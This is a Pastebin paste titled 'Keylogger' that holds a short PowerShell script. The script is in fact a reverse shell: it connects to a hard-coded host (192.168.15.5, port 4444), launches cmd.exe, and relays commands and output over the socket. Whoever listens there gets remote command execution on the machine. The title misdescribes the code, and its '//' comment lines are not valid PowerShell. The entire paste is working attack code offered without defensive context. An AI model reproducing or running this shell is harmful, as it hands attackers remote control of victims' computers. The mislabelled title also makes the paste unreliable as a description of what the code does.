Advertisement
Alonnso_888

Keylogger

Jan 18th, 2019
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.69 KB | None | 0 0
  1. function cleanup {
  2. if ($client.Connected -eq $true) {$client.Close()}
  3. if ($process.ExitCode -ne $null) {$process.Close()}
  4. exit}
  5. // Setup IPADDR
  6. $address = '192.168.15.5'
  7. // Setup PORT
  8. $port = '4444'
  9. $client = New-Object system.net.sockets.tcpclient
  10. $client.connect($address,$port)
  11. $stream = $client.GetStream()
  12. $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
  13. $process = New-Object System.Diagnostics.Process
  14. $process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
  15. $process.StartInfo.RedirectStandardInput = 1
  16. $process.StartInfo.RedirectStandardOutput = 1
  17. $process.StartInfo.UseShellExecute = 0
  18. $process.Start()
  19. $inputstream = $process.StandardInput
  20. $outputstream = $process.StandardOutput
  21. Start-Sleep 1
  22. $encoding = new-object System.Text.AsciiEncoding
  23. while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
  24. $stream.Write($encoding.GetBytes($out),0,$out.Length)
  25. $out = $null; $done = $false; $testing = 0;
  26. while (-not $done) {
  27. if ($client.Connected -ne $true) {cleanup}
  28. $pos = 0; $i = 1
  29. while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
  30. $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
  31. $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
  32. if ($pos -gt 0) {
  33. $string = $encoding.GetString($networkbuffer,0,$pos)
  34. $inputstream.write($string)
  35. start-sleep 1
  36. if ($process.ExitCode -ne $null) {cleanup}
  37. else {
  38. $out = $encoding.GetString($outputstream.Read())
  39. while($outputstream.Peek() -ne -1){
  40. $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
  41. $stream.Write($encoding.GetBytes($out),0,$out.length)
  42. $out = $null
  43. $string = $null}} else {cleanup}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement